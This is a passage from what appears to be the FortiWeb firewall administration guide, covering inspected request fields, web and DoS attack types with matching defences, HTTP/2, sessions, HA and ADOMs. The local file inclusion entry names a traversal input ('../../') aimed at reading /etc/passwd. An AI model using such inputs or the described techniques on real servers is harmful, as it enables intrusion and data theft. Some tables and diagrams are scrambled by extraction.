l Host:
l X-Forwarded-For:
User Tracking l Host:

l Cookie:
l Parameters in the URL
l HTTP body
l Client's certificate
API Gateway l Host:

l API Key as HTTP parameter in URL
l API Key as HTTP header
l Source IP address of the client depending on your configuration of
API user
l Request methods in HTTP header
l HTTP Referer depending on your configuration of API user
OpenAPI Validation l Host:

l HTTP headers, especially the content-type: headers
l Parameters in URL
l Multipart filename
CORS Protection l Host:

l Origin:
l Request methods in HTTP header
l HTTP headers including Access-Control-Allow-Origin,
Access-Control-Request-Method, Access-Control-
Request-Headers, Access-Control-Max-Age, Access-

Key concepts 31
Control-Expose-Headers, Access-Control-Allow-
Credentials, Access-Control-Allow-Methods, and
Access-Control-Allow-Headers.
URL Rewriting (rewriting & l Host:
redirection) l Referer:
l Location:
l HTML body
Machine Learning - Anomaly l Source IP address of the client depending on your configuration of
Detection X-header rules. This could be derived from either the SRC field in the
on page 193
l Parameter in the URL, or the HTTP header or body
l Content-Type:
File Compress Accept-Encoding:
Cookie Security Policy l Source IP address of the client depending on your configuration of
on page 193
l Cookie:
Reply from server to client
Web Socket Protocol l Upgrade:
Chunk Decoding l Transfer-Encoding

l Raw body
Web Cache l Host:

l HTTP method
l Return code
l Content-Type:
l HTTP headers
l Size in kilobytes (KB) of each URL to cache
Bot Deception l Host:

Protection for Man-in-the- l Status code

Browser (MiTB) attacks l Response body

Key concepts 32
Biometrics Based Detection l Source IP address of the client depending on your configuration of
l URL
l Host:
l X-Forwarded-For:
l HTTP header
l Custom signature
l Body
l The latest HTTP transaction time
l The response content type
l Status code
Acceleration Content-Type:
Signatures l Source IP address of the client depending on your configuration of

on page 193
l HTTP headers
l HTML Body
l Parameters in URL and body
l XML in the body of HTTP POST requests
l Cookies
l Headers
l JSON Protocol Detection
l Uploaded filename (MULTIPART_FORM_DATA_FILENAME)
Hidden Fields Protection l Host:

l Name, data type, and length of <input type="hidden">
Custom Policy l HTTP response code

l Content-Type:
User Tracking l Status code
l HTTP headers
l HTML body
URL Rewriting (rewriting) l Host:

l Referer:
l Location:
l HTML body

Key concepts 33
URL Encryption l Host:

l Referer:
l Location:
l Return code
l Content-Type:
HTTP Header Security l HTTP headers
IPv6 support
The features below support IPv6-to-IPv6 forwarding in different operation modes. See Planning the network topology on
page 66 for feature support in each operation mode.
NAT64 and NAT46 are supported only in Reverse Proxy mode. No matter the virtual server and the back-end server are
in IPv4 or IPv6 addresses, or mixed with both, IPv4-to-IPv6 and IPv6-to-IPv4 forwarding are fully supported by the
following features.
l IP/Netmask for all types of network interfaces and DNS settings
l Gateway and Destination IP/Mask for IP-layer static routes
l Virtual Server/V-zone
l Server Pool
l Protected Hostnames
l HTTP Server Policy
l X-Forwarded-For
l Client Management
l Cookie Security Policy
l Signatures
l Custom Policy
l Parameter Validation
l Hidden Fields Protection
l File Security
l HTTP Protocol Constraints
l URL Access
l API Gateway
l OpenAPI Validation
l Bot Mitigation Policy
l WebSocket Protocol
l Syntax-based SQL/XSS injection detection
l Man-in-the-Browser (MiTB) attacks
l Padding Oracle Protection

Key concepts 34
l Web Cache
l Acceleration
l Replacement Message
l CORS Protection
l Machine Learning - Anomaly Detection
l Machine Learning - Bot Detection
l FortiGate Quarantined IPs
l User tracking
l IP List (manual, individual IP blacklisting/whitelisting)
l File Compress
l Vulnerability scans
l Global Object White List
l Chunk decoding
l FortiGuard server IP overrides (see Connecting to FortiGuard services on page 469)
l URL Rewriting (also redirection)
l HTTP Authentication and LDAP, RADIUS, and NTLM profiles
l Geo IP
l DoS Prevention
l SNMP traps & queries
Features not yet supported are:
If a policy has any virtual servers or server pools that contain physical or domain
servers with IPv6 addresses, it does not apply these features, even if they are
selected.
l Shared IP
l IP Reputation
l Known bots
l Firewall
l Log-based reports
l Alert email
l Syslog and FortiAnalyzer IP addresses
l NTP
l FTP immediate/scheduled
l SCEP
l Anti-defacement
l HA/Configuration sync
l exec restore
l exec backup
l exec traceroute
l exec telnet

Key concepts 35
Solutions for specific web attacks
The types of attacks that web servers are vulnerable to are varied, and evolve as attackers try new strategies.
FortiWeb offers numerous configurable features for preventing web-related attacks, including denial-of-service (DoS)
assaults, brute-force logins, data theft, cross-site scripting attacks, among many more.
Early in your deployment of FortiWeb, configure and run web vulnerability scans to
detect the most common attack vulnerabilities. You can use this to discover attacks
to which you may be vulnerable. For details, see Vulnerability scans on page 656.
HTTP/HTTPS threats
Servers are increasingly being targeted by exploits at the application layer or higher. These attacks use HTTP/HTTPS
and may aim to compromise the target web server to steal information, deface it, post malicious files on a trusted site to
further exploit visitors to the site, or use the web server to create botnets.
Among its many threat management features, FortiWeb fends off attacks that use cross-site scripting, state-based
intrusion, and various injection attacks. This helps you comply with protection standards for:
l Credit-card data, such as PCI DSS 6.6
l Personally identifiable information, such as HIPAA
FortiWeb can also protect against threats at higher layers (HTML, Flash or XML applications). The below table lists
several HTTP-related threats and describes how FortiWeb protects servers from them.
Attack Technique Description Protection FortiWeb Solution
Adobe Flash binary Attackers attempt XSS, Decode and scan Flash action Enable AMF3 Protocol
(AMF) protocol attacks SQL injection or other message format (AMF) binary Detection on page 226
common exploits through data for matches with attack
an Adobe Flash client. signatures.
Botnet Utilizes zombies previously Use the FortiGuard IP IP Reputation on page

exploited or infected (or Reputation Service to gather 227
willingly participating), up-to-date threat intelligence
distributed usually globally, on botnets and block attacks.
to simultaneously
overwhelm the target when
directed by the command
and control server(s).
Brute force login attack An attacker attempts to Require strong passwords for Combination access
gain authorization by users, and throttle login control & rate limiting
repeatedly trying ID and attempts. on page 437
password combinations
until one works.

Key concepts 36
Clickjacking Code such as <IFRAME> Scan for illegal inputs to l Signatures on

HTML tags superimposes prevent the initial injection, page 224
buttons or other then apply rewrites to scrub l Parameter
DOM/inputs of the any web pages that have Validation on page
attacker’s choice over a already been affected. 225
normal form, causing the l Hidden Fields
victim to unwittingly provide Protection on page
data such as bank or login 225
credentials to the attacker’s l URL Rewriting on
server instead of the page 227
legitimate web server when
the victim clicks to submit
the form.
Cookie tampering Attackers alter cookies Validate cookies returned by l Cookie Security
originally established by the the client to ensure that they Policy on page 224
server to inject overflows, have not been altered from l Configuring an
shell code, and other the previous response from HTTP server policy
attacks, or to commit the web server for that HTTP on page 242
identity fraud, hijacking the session.
HTTP sessions of other
clients.
Cross-site request A script causes a browser to Specify web pages that l Defeating cross-
forgery (CSRF) access a website on which FortiWeb protects from CSRF site request forgery
the browser has already attacks using a special token. (CSRF) attacks on
been authenticated, giving page 511
a third party access to a Enforce web application l Configuring a
user’s session on that site. business logic to prevent protection profile
Classic examples include access to URLs from the for inline
hijacking other peoples’ same IP but different client. topologies on page
sessions at coffee shops or 223
Internet cafés. l Configuring an
HTTP server policy
on page 242
Cross-site scripting Attackers cause a browser Content filtering, cookie Cross Site Scripting on
(XSS) to execute a client-side security, disable client-side page 464
script, allowing them to scripts.
bypass security.
Denial of service (DoS) An attacker uses one or Watch for a multitude of TCP DoS Protection Policy
more techniques to flood a and HTTP requests arriving in on page 226
host with HTTP requests, a short time frame, especially
TCP connections, and/or from a single source, and
TCP SYN signals. These close suspicious connections.
use up available sockets Detect increased SYN signals,
and consume resources on close half-open connections

Key concepts 37
the server, and can lead to before resources are

a temporary but complete exhausted.
loss of service for legitimate
users.
HTTP header overflow Attackers use specially Limit the length of HTTP HTTP Protocol
crafted HTTP/HTTPS protocol header fields, Constraints on page
requests to target web bodies, and parameters. 224
server vulnerabilities (such
as a buffer overflow) to
execute malicious code,
escalating to administrator
privileges.
Local file inclusion (LFI) LFI is a type of injection Block directory traversal Generic Attacks on
attack. However, unlike commands. page 465
SQL injection attacks, a
database is not always
involved. In an LFI, a client
includes directory traversal
commands (such as
../../for web servers on
Linux, Apple Mac OS X, or
Unix distributions) when
submitting input. This
causes vulnerable web
servers to use one of the
computer’s own files (or a
file previously installed via
another attack mechanism)
to either execute it or be
included in its own web
pages.
This could be used for

many purposes, including
direct attacks of other
servers, installation of
malware, and data theft of
/etc/passwd, display of
database query caches,
creation of administrator
accounts, and use of any
other files on the server’s
file system.
Many platforms have been

vulnerable to these types of

Key concepts 38
attacks, including Microsoft

.NET and Joomla.
Man-in-the-middle A device located on the Redirect clients from HTTP to l HTTPS Service on
(MITM) same broadcast network or secure HTTPS, then encrypt page 247
between the client and all traffic and prevent l Configuring an
server observes subsequent accidental HTTP server policy
unencrypted traffic between insecure access. on page 242
them. This is often a l URL Rewriting on
precursor to other attacks page 227
such as session hijacking.
Remote file inclusion RFI is a type of injection Prevent inclusion of Generic Attacks on
(RFI) attack. However, unlike references to files on other page 465
SQL injection attacks, a web servers.
database is not always
involved. In an RFI, a client
includes a URL to a file on a
remote host, such as
source code or scripts,
when submitting input. This
causes vulnerable web
servers to either execute it
or include it in its own web
pages.
If code is executed, this

could be used for many
purposes, including direct
attacks of other servers,
installation of malware, and
data theft.
If code is included into the

local file system, this could
be used to cause other,
unsuspecting clients who
use those web pages to
commit distributed XSS
attacks.
Famously, this was used in

organized attacks by
Lulzsec. Attacks often
involve PHP web
applications, but can be
written for others.

Key concepts 39
Server information A web server reveals details Configure server software to l Information
leakage (such as its OS, server minimize information Disclosure on page
software and installed leakage. 466
modules) in responses or l To hide application
error messages. An structure and
attacker can leverage this servlet names,
fingerprint to craft exploits Rewriting &
for a specific system or redirecting on page
configuration. 628
SQL injection The web application Rely on key word searches, l Parameter
inadvertently accepts SQL restrictive context-sensitive Validation on page
queries as input. These are filtering and data sanitization 225
executed directly against techniques. l Hidden Fields
the database for Protection on page
unauthorized disclosure 225
and modification of data. l SQL Injection on
page 465
DoS attacks
A denial of service (DoS) attack or distributed denial-of-service attack (DDoS attack) is an attempt to overwhelm a web
server/site, making its resources unavailable to its intended users. DoS assaults involve opening vast numbers of
sessions/connections at various OSI layers and keeping them open as long as possible to overwhelm a server by
consuming its available sockets. Most DoS attacks use automated tools (not browsers) on one or more hosts to
generate the harmful flood of requests to a web server.
A DoS assault on its own is not true penetration. It is designed to silence its target, not for theft. It is censorship, not
robbery. In any event, a successful DoS attack can be costly to a company in lost sales and a tarnished reputation. DoS
can also be used as a diversion tactic while a true exploit is being perpetrated.
The advanced DoS prevention features of FortiWeb are designed to prevent DoS techniques, such as those examples
listed in Solutions for specific web attacks on page 35, from succeeding. For best results, consider creating a DoS
protection policy that includes all of FortiWeb’s DoS defense mechanisms, and block traffic that appears to originate
from another country, but could actually be anonymized by VPN or Tor. For details about policy creation, see DoS
prevention on page 612 and Blacklisting source IPs with poor reputation on page 442.
Attack Technique Description FortiWeb Solution
Botnet Utilizes zombies previously exploited or infected (or IP Reputation on page 227
willingly participating), distributed usually globally, to
simultaneously overwhelm the target when directed by
the command and control server(s). Well-known
examples include LOIC, HOIC, and Zeus.
Low-rate DoS Exploits TCP’s retransmission time-out (RTO) by sending l TCP Connection Number
short-duration, high-volume bursts repeated periodically Limit on page 622 (TCP
at slower RTO time-scales. This causes a TCP flow to flood prevention)

Key concepts 40
Attack Technique Description FortiWeb Solution
repeatedly enter a RTO state and significantly reduces l HTTP Request Limit/sec on
TCP throughput. page 619 (HTTP flood
prevention)
l TCP Connection Number
Limit on page 617(malicious
IP prevention)
Slow POST attack Sends multiple HTTP POST requests with a legitimate l URL Access on page 226
Content-Length: field. This tells the web server how l Allow Method on page 226
much data to expect. Each POST message body is then
transmitted at an unusually slow speed to keep the
connection from timing out, and thereby consuming
sockets.
Slowloris Slowly but steadily consumes all available sockets by l Header Length on page 533
sending partial HTTP requests sent at regular intervals. l Number of Header Lines in
Each HTTP header is never finished by a new line (/r/n) Request on page 535
according to the specification, and therefore the server
waits for the client to finish, keeping its socket open. This
slowly consumes all sockets on a web server without a
noticeable spike on new TCP/IP connections or
bandwidth.
Not all web servers are vulnerable, and susceptibility can

vary by configuration. Default Apache configurations may
be more vulnerable than a server like nginx that is
designed for high concurrency.
SYN flood Sends a stream of TCP SYN packets. The target server Syn Cookie on page 252
acknowledges each SYN and waits for a response (ACK).
Rather than respond, the attacker sends more SYN
packets, leaving each connection half-open, not fully
formed, so that it may not register on systems that only
monitor fully formed connections. Since each half-formed
connection requires RAM to remember this state while
awaiting buildup/tear-down, many SYN signals eventually
consume available RAM or sockets.
HTTP/2 support
If the FortiWeb is deployed in Reverse Proxy (see Topology for Reverse Proxy mode on page 74) or True Transparent
Proxy (see Topology for either of the transparent modes on page 77) mode, HTTP/2 web communication can be
protected by almost all the FortiWeb's security services except:
l WebSocket (see WebSocket protocol on page 545)
l NTML Authentication (see Configuring an NTLM server on page 349)

Key concepts 41
Note: HTTP/2 traffic will bypass the WebSocket and NTML authentication security services (even if the services are
well-configured).
How to enable HTTP/2 support
Deployment in Reverse Proxy mode
When the FortiWeb is operating in Reverse Proxy mode, it can provide end-to-end HTTP/2 security which requires both
clients and back-end servers running HTTP/2. Moreover, if the back web servers do not support HTTP/2, FortiWeb (in
Reverse Proxy mode) provides the HTTP/2 protections also with conversion protocols between HTTP/2 clients and
HTTP/1.1 back-end servers. This allows customers to enjoy HTTP/2 benefits without having to upgrade their web
servers. Therefore, when the FortiWeb is operating in Reverse Proxy mode, it requires two necessary configurations for
HTTP/2 security:
l Server Policy: Enable HTTP/2 in a Server Policy (see HTTP/2 on page 247), so that HTTP/2 can be negotiated
between FortiWeb and clients via SSL ALPN (Application-Layer Protocol Negotiation) during the SSL handshake, if
the client's browser supports HTTP/2 protocol. Then, FortiWeb can recognize HTTP/2 traffic and apply the security
services to it.
l Server Pool: Enable HTTP/2 for a Server Pool (see HTTP/2 on page 173) if your back-end web servers are
running HTTP/2. This indicates HTTP/2 communication between FortiWeb and the backend servers in the server
pool. HTTP/2 Traffic processed by FortiWeb will be forwarded to the back web servers through HTTP/2. However, if
your web servers do not support HTTP/2, keep the option disabled and FortiWeb will convert the processed HTTP/2
traffic to HTTP/1.x and forward it to the backend servers. Please note that enable this only if your back web
servers really support HTTP/2, or connections will go failed.
When FortiWeb operates in Reverse Proxy mode, HTTP Content Routing is partially
supported if HTTP/2 security inspection is enabled. In such cases, FortiWeb can
handle HTTP/2 for client requests, but traffic between FortiWeb and the server(s)
must use HTTP, so the HTTP/2 setting in a server pool configuration would have to
remain disabled. For details, see Routing based on HTTP content on page 180.
Deployment in True Transparent Proxy mode
Conversion between HTTP/2 clients and HTTP/1.1 back-end servers is not available when the FortiWeb is operating in
True Transparent Proxy mode. Therefore, FortiWeb's HTTP/2 inspection must work with the back web servers that
really support HTTP/2. When your FortiWeb is operating in True Transparent Proxy mode, only one configuration is
required to enable the HTTP/2 support:
l Server Pool: Enable SSL and HTTP/2 in a Server Pool (see To configure a server pool on page 170). Please
make sure your back-end web servers are running HTTP/2, or no HTTP/2 connections will be established between
clients and the back servers and enabling HTTP/2 support on the FortiWeb will be kind of meaningless.
Note: FortiWeb only supports HTTP/2 for HTTPS (SSL) connections (most browsers support HTTP/2 for only HTTPS).
Therefore, for deployment in Reverse Proxy or True Transparent Proxy mode, HTTPS or SSL on the FortiWeb must be
enabled for HTTP/2.

Key concepts 42
HTTP sessions & security
The HTTP 1.1 protocol itself is stateless (e.g., has no inherent support for persistent sessions). Yet many web
applications add sessions to become stateful.
What is a session? What is statefulness?
How do they impact security on the web?
Sessions are a correlation of requests for individual web pages/data (“hits”) into a sense of an overall “visit” for a client
during a time span, but also retain some memory between events. They typically consist of a session ID coupled with its
data indicating current state. Classic examples include logins, showing previously viewed items, and shopping carts.
The reason why HTTP applications must add sessions is related to how software works: software often changes how it
appears or acts based upon:
l Input you supply (e.g. a mouse click or a data file)
l System events (e.g. time or availability of a network connection)
l Current state (i.e. the product of previous events—history)
At each time, some inputs/actions are known to be valid and possible, while others are not. Without memory of
history to define the current context, which actions are valid and possible, and therefore how it should
function, cannot be known.
When software cannot function without memory, it is stateful. Many important features—denying access if a person is
not currently logged in, for example, or shipping what has been added to a shopping cart—are stateful, and therefore
can’t be supported by purely stateless HTTP according to the original RFC. Such features require that web apps
augment the HTTP protocol by adding a notion of session memory via:
l Cookies per RFC 2965 (http://tools.ietf.org/html/rfc2965)
l Hidden inputs
l Server-side sessions
l Other means (see Authentication styles on page 337)
Because memory is an accumulation of input, sessions have security implications.
l Can a different client easily forge another session?
l Are session IDs reused in encrypt form data, thereby weakening the encryption?
l Are session histories used to check for invalid next URLs or inputs (state transitions)?
When sessions are not protected to prevent misuse, attackers can use software in unexpected ways to
expose vulnerabilities.
For example, let’s say there is a vending machine full of snacks. You must first insert the proper amount of money
before the machine will give you a selected snack. If you provide an insufficient amount of money for the selected
snack, the machine will do nothing.
The vending machine is designed so that it must be in a state in which it has received enough money before it will
dispense the snack (or return your change).

Key concepts 43
If the vending machine has no notion of states, it would dispense free snacks or change regardless of whether it had
received any money. While free snacks might make some hungry people happy, it's not the intended behavior. We
would say that the vending machine is broken.
Similar to the working vending machine, in the TCP protocol, a connection cannot be acknowledged (ACK) or data sent
(PSH) before the connection has been initiated (SYN). There is a definite order to valid operations, based upon the
operation that preceded it. If a connection is not already established—not in a state to receive data—then the receiver
will disregard it.
Similar to the broken vending machine, the naked HTTP protocol has no idea what the previous HTTP request was,
and therefore no way to predict what the next one might be. Nothing is required to persist from one request to the next.
While this was adequate at the time when HTTP was initially designed, when it purely needed to retrieve static text or
HTML documents, as the World Wide Web evolved, this was no longer enough. Static pages evolved into dynamic CGI-
generated and JavaScripted pages. Dynamic pages use programs to change the page. Scripted pages eventually
evolved to fully-fledged multimedia web applications with their own client-server architecture. As pages became
software in their own right, a need for sessions arose.
When a web application has its own native authentication, the session may correspond directly with its authentication
logs—server-side sessions may start with a login and end with a logout/session timeout. Within each session, there are
contexts that the software can use to determine which operations make sense. For example, for each live session, a
web application might remember:
l Who is the client? What is his/her user name?
l Where is the client?

Key concepts 44
l What pages has the client already seen today?

l What forms has the client already completed?
However, sessions alone are not enough to ensure that a client’s requested operations make sense. The client’s next
page request in the session could break the web application’s logic unless requests are restricted to valid ones.
For example, a web application session may remember that a client has authenticated to it. But unless the web
application also knows what pages a client is authorized to use, there might be nothing to prevent a client from
accessing unauthorized content.
If a web application doesn't enforce valid state transitions and guard session IDs and cookies from fraud (including side-
jacking attacks made famous by Firesheep) or cookie poisoning, web applications become vulnerable to state transition-
based attacks—attacks in which pages are requested out of the expected order, by a different client, or where inputs
used for the next page are not as expected. While many web applications reflect business logic in order to function, not
all applications validate state transitions to enforce application logic. Other web applications do attempt to enforce the
software’s logic, but do not do so effectively. In other cases, the state enforcement itself has bugs. These are all
common causes of security vulnerabilities.
Similar to plain HTTP, SSL/TLS also keeps track of what steps the client has
completed in encryption negotiation, and what the agreed keys and algorithms are.
These HTTPS sessions are separate from, and usually in addition to, HTTP
sessions. Attacks on SSL/TLS sessions are also possible, such as the SPDY
protocol/Deflate compression-related CRIME attack.
FortiWeb sessions vs. web application sessions
FortiWeb can add its own sessions to enforce the logic of your web applications, thereby hardening their security,
even without applying patches.

Key concepts 45
Your web application may have its own sessions data—one or more. These are not
the same as FortiWeb sessions, unless FortiWeb is operating in a mode that does
not support FortiWeb session cookies, and therefore uses your web application’s
own sessions as a cue (see Session Key in Configuring a protection profile for
inline topologies on page 223).
FortiWeb does not replace or duplicate sessions that may already be implemented
in your web applications, such as the JSESSIONID parameter common in Java
server pages (JSP), or web applications’ session cookies such as the TWIKISID
cookie for Twiki wikis.
However, it can protect those sessions. To configure protection for your web
application’s own sessions, see options such as Cookie Security Policy, and
Hidden Fields Protection in Configuring a protection profile for inline topologies
on page 223.
For example, to limit the number of TCP connections of a same user per HTTP session, you can use session cookies to
identify the same user. Enable Client Management in inline web protection profile. When enabled and a client sends
requests:
1. For the first HTTP/HTTPS request from a client, FortiWeb embeds a cookie in the response’s Set-Cookie: field
in the HTTP header. It is named cookiesession1. (FortiWeb does not use source IP addresses and timestamps
alone for sessions: NAT can cloak multiple clients; clocks can be altered.)
2. Later requests from the same client must include this same cookie in the Cookie: field to be regarded as part of
the same session. Otherwise, the request will be regarded as session-initiating, and return to the first step.
Once a request’s session is identified by the session ID in this cookie (e.g.
K8BXT3TNYUM710UEGWC8IQBTPX9PRWHB), FortiWeb can perform any configured tracking or enforcement
actions that are based upon the requests that it remembers for that session ID, such as rate limiting per session ID
per URL (see Limiting the total HTTP request rate from an IP on page 613). Violating traffic may be dropped or
blocked, depending on your configuration.
3. After some time, if FortiWeb has not received any more requests, the session will time out.
For the next request from that client, if it contains the old session cookie, the time out period will be For the first
HTTP/HTTPS request from a client, FortiWeb embeds a cookie in the response’s Set-Cookie: field in the HTTP
header. It is named cookiesession1. (FortiWeb does not use source IP addresses and timestamps alone for
sessions: NAT can cloak multiple clients; clocks can be altered.)
Exceptions to this process include network topologies and operation modes that do
not support FortiWeb session cookies: instead of adding its own cookie, which is not
possible, FortiWeb can instead cue its session states from your web application’s
cookie. See Session Key in Configuring a protection profile for inline topologies on
page 223.
Traffic logs include the HTTP/HTTPS session ID so you can locate all requests in each session. Correlating requests by
session ID can be useful for forensic purposes, such as when analyzing an attack from a specific client, or when
analyzing web application behavior that occurs during a session so that you can design an appropriate policy to protect
it. For details, see Viewing log messages on page 718.

Key concepts 46
Sessions & FortiWeb HA
The table of FortiWeb client session histories is not synchronized between HA members. If a failover occurs, the new
active appliance will recognize that old session cookies are from a FortiWeb, and will allow existing FortiWeb sessions
to continue. Clients’ existing sessions will not be interrupted.
Because the new active appliance does not know previous session history, after
failover, for existing sessions, FortiWeb cannot enforce actions that are based on:
l The count or rate of requests that it remembers for that session ID, such as rate
limiting per session ID per URL. For details, see Limiting the total HTTP
request rate from an IP on page 613.
New sessions will be formed with the current main appliance.

For details about what data and settings are synchronized by HA, see HA heartbeat on page 114 and HA heartbeat &
active node election on page 114.
Example: Magento & FortiWeb sessions during failover
A client might connect through a FortiWeb HA pair to an e-commerce site. The site runs Magento, which sets cookies in
a server pool. To prevent session stealing and other session-based attacks, Magento can track its own cookies and
validate session information in $_SESSION using server-side memory.
In the FortiWeb HA pair that protects the server pool, you have enabled Configuring a protection profile for inline
topologies on page 223 so that the active appliance (FortiWeb A) also adds its own cookie to the HTTP response from
Magento. The HTTP response therefore contains 2 cookies:
l Magento’s session cookie
l FortiWeb’s session cookie
The next request from the client echoes both cookies. It is for an authorized URL, so FortiWeb A permits the website to
respond.

Key concepts 47
FortiWeb HA pair FortiWeb B

Standby
FortiWeb A
Active

View

Login
Cook
ie:
name
=coo
kies
essi
Set-Cookie: name=cookiesession1...
on1.
..

Let’s say you then update FortiWeb A’s firmware. During the update, the standby appliance (FortiWeb B) briefly
assumes the role of the active appliance while FortiWeb A is applying the update and rebooting (e.g., a failover occurs).
After the failover, FortiWeb B would receive the next HTTP request in the session. Because it was previously the
standby when the client initiated the session, and FortiWeb session tables are not synchronized, FortiWeb B has no
knowledge of the FortiWeb session cookie in this request.
However, a FortiWeb session cookie is present. Therefore FortiWeb B would permit the new request (assuming that it
has no policy violations).

Key concepts 48
Active Cookies accepted

though sessions
Failover Modify
are not
synchronized
Standby

View
Co
ok
ie
:
na
me
=c
oo
ki
es

es
Cook si
ie: on
1.
Login name
=coo
kies
essi

..
on1.
..

Since web application sessions are not the same as FortiWeb sessions, Magento
sessions continue and are unaffected by the failover.
If the client deletes their FortiWeb session cookie or it times out, FortiWeb B regards the next request as a new
FortiWeb session, adding a new FortiWeb session cookie to Magento’s response and creating an entry in FortiWeb B’s
session table.
FortiWeb high availability (HA)
By default, FortiWeb appliances are each a single, standalone appliance. They operate independently.
If you have purchased more than one, however, you can configure multiple FortiWeb appliances in active-passive,
standard active-active, or high volume active-active HA mode. This improves availability so that you can achieve
99.999% service level agreement (SLA) uptimes regardless of, for example, hardware failure or maintenance periods.

Key concepts 49
If you have multiple FortiWeb appliances but do not need failover, you can still
synchronize the configuration. This can be useful for cloned network environments
and externally load-balanced active-active HA. For details, see Replicating the
configuration without FortiWeb HA (external HA) on page 119.
You can use the FortiWeb WCCP feature to create an active-active HA group. You
synchronize the members using FortiWeb's configuration synchronization feature so
that each member is ready to act as backup if the other appliance is not available.
The WCCP server provides load balancing between the HA pair and redirects all
traffic to one member if the other member is unavailable. For details, see Example:
Using WCCP with multiple FortiWeb appliances on page 207.
Active-Passive HA
In Active-Passive HA, one appliance is elected to be the active appliance (also called the primary, main, or master),
applying the policies for all connections. The other is a passive standby (also called the secondary, or slave), which
assumes the role of the active appliance and begins processing connections only if the active appliance fails.
This is an example of an active-passive HA topology.
Standard Active-Active HA
A standard active-active HA group created in Reverse Proxy and True Transparent Proxy modes can consist of up to
eight FortiWebs. One of the member appliances will be selected as the master appliance, while the others are slaves.
The master appliance in a standard active-active HA group plays the role as the central controller to receive traffic from
clients and send the processed traffic to back-end web servers, and vice versa (the traffic shown in green in the following
graph). The master appliance distributes the traffic to all the HA members (including itself) according to the specified
load-balancing algorithm so that each FortiWeb appliance performs the security services to protect the traffic (the traffic
shown in red in the following graph).

Key concepts 50
This is an example of a standard active-active HA group:
The master node uses the following load-balancing algorithms to distribute received traffic over the available HA
members:
l By source IP: consistently distribute the traffic coming from a source to the same HA member (the default
algorithm).
l By connections: dynamically distribute traffic to a member who has the fewest connections processing.
l Round-Robin: distribute traffic among the available members in a circular order.
All the HA members, including the master appliance, are the candidates for the algorithms, unless failure is detected on
any of them. Traffic distribution is based on TCP/UDP sessions, which means once the first packet of a TCP/UDP
session is assigned to a member, the subsequent packets of the session will be consistently distributed to the same
appliance during a time period. For more details, see FortiWeb high availability (HA) on page 48.
Although algorithm By source IP distribute the subsequent traffic coming from the
same source IP address to a fix HA member, it performs weighted round-robin to
determine the member for the first packet coming from the IP address. You can
configure the weights between the members through the CLI command set
weight in system ha. For details, see FortiWeb CLI Reference.
If a slave failure is detected, the slave appliance will be ignored by the master for its traffic distribution. If the master
fails, one of the slave appliances will take it over as a master immediately (see How HA chooses the active appliance on
page 115).
Once the master appliance fails and a slave takes it over, subsequent traffic of all sessions that have been established
for longer than 30 seconds will be transferred to the new master for distribution (those sessions distributed to the
original master appliance by itself are not included, since the original master lost them while it failed). To distribute the
original sessions in the original way, the new master has to know how they are mapped. To provide a seamless takeover
for this, a master appliance must maintain the mapping information (called session information as well) for all the
sessions and synchronize it to all the other HA members all the time, so that when a slave becomes the master the
subsequent traffic of the original sessions can be destined to where they were.

Key concepts 51
Although session synchronization in active-active HA guarantees a seamless

takeover, it brings extra CPU and bandwidth consumption as well. The session
synchronization is disabled by default, and you can enable it through the CLI
command set session-pickup in system ha. For details, see FortiWeb
CLI Reference.
High volume active-active HA
A high volume active-active HA group can be created in Reverse Proxy operation mode and supports up to eight
FortiWebs. One of the member appliances will be selected as the master appliance, while the others are slaves (see
How HA chooses the active appliance on page 115).
In high volume active-active mode, one or more unique virtual IPs are attached to each member. The traffic destined to
the virtual IPs is directed to the corresponding member. Once this member is down, its backup appliance can take over
the traffic to the virtual IPs.
Unlike the standard active-active HA mode where the master acts as a traffic distributor, the members in high volume
active-active mode don't reply on the master to distribute traffic, instead, they can directly receive traffic from the clients
and process the traffic independently. It significantly increases the traffic throughput of the HA group.
This is an example of a high volume active-active HA group:
See also
l Updating firmware on an HA pair on page 96

l SNMP traps & queries on page 727
l HA heartbeat on page 114
l How HA chooses the active appliance on page 115
l HA heartbeat & active node election on page 114
l Fail-to-wire for power loss/reboots on page 667

Key concepts 52
l Topologies for high availability (HA) clustering on page 80

l Replicating the configuration without FortiWeb HA (external HA) on page 119
Administrative domains (ADOMs)
Administrative domains (ADOMs) enable the admin administrator to constrain other FortiWeb administrators’ access
privileges to a subset of policies and protected host names. This can be useful for large enterprises and multi-tenant
deployments such as web hosting.
ADOMs are not enabled by default. Enabling and configuring administrative domains can only be performed by the
admin administrator.
Enabling ADOMs alters the structure of and the available functions in the GUI and CLI, according to whether or not you
are logging in as the admin administrator, and, if you are not logging in as the admin administrator, the administrator
account’s assigned access profile.
Differences between administrator accounts when ADOMs are enabled
admin administrator account Other administrators

Access to config global Yes No
Can create administrator accounts Yes No
Can create & enter all ADOMs Yes No
If ADOMs are enabled and you log in as admin, a superset of the typical CLI commands appear, allowing unrestricted
access and ADOM configuration.
config global contains settings used by the FortiWeb itself and settings shared by ADOMs, such as RAID and
administrator accounts. It does not include ADOM-specific settings or data, such as logs and reports. When configuring
other administrator accounts, an additional option appears allowing you to restrict other administrators to an ADOM.
If ADOMs are enabled and you log in as any other administrator, you enter the ADOM assigned to your account. A
subset of the typical menus or CLI commands appear, allowing access only to only logs, reports, policies, servers, and
LDAP queries specific to your ADOM. You cannot access global configuration settings, or enter other ADOMs.
By default, administrator accounts other than the admin account are assigned to the root ADOM, which includes all
policies and servers. By creating ADOMs that contain a subset of policies and servers, and assigning them to
administrator accounts, you can restrict other administrator accounts to a subset of the FortiWeb’s total protected
servers.
The admin administrator account cannot be restricted to an ADOM. Other administrators are restricted to their ADOM,
and cannot configure ADOMs or global settings.

Key concepts 53
To enable ADOMs
1. Log in with the admin account.

Other administrators do not have permissions to configure ADOMs.
Back up your configuration. Enabling ADOMs changes the structure of your

configuration, and moves non-global settings to the root ADOM. For details
about how to back up the configuration, see Backups on page 322.
2. Go to System > Status > Status. From the System Information widget, in the Administrative Domains row,
click Enable.
FortiWeb terminates the session.
3. Log in again.
When ADOMs are enabled, and if you log in as admin, the navigation menu on the left changes: the top level lists
two ADOM items: Global and root.
Global contains settings that only admin or other accounts with the prof_admin access profile can change.
root is the default ADOM.
This menu and CLI structure change is not visible to non-global accounts; ADOM administrators’ navigation menus
continue to appear similar to when ADOMs are disabled, except that global settings such as network interfaces,
HA, and other global settings do not appear.
4. Continue by defining ADOMs. For details, see Defining ADOMs on page 53.
To disable ADOMs
1. Delete all ADOM administrator accounts.
Back up your configuration. Disabling ADOMs changes the structure of your

configuration, and deletes most ADOM-related settings. It keeps settings from
the root ADOM only. For details about how to back up the configuration, see
Backups on page 322.
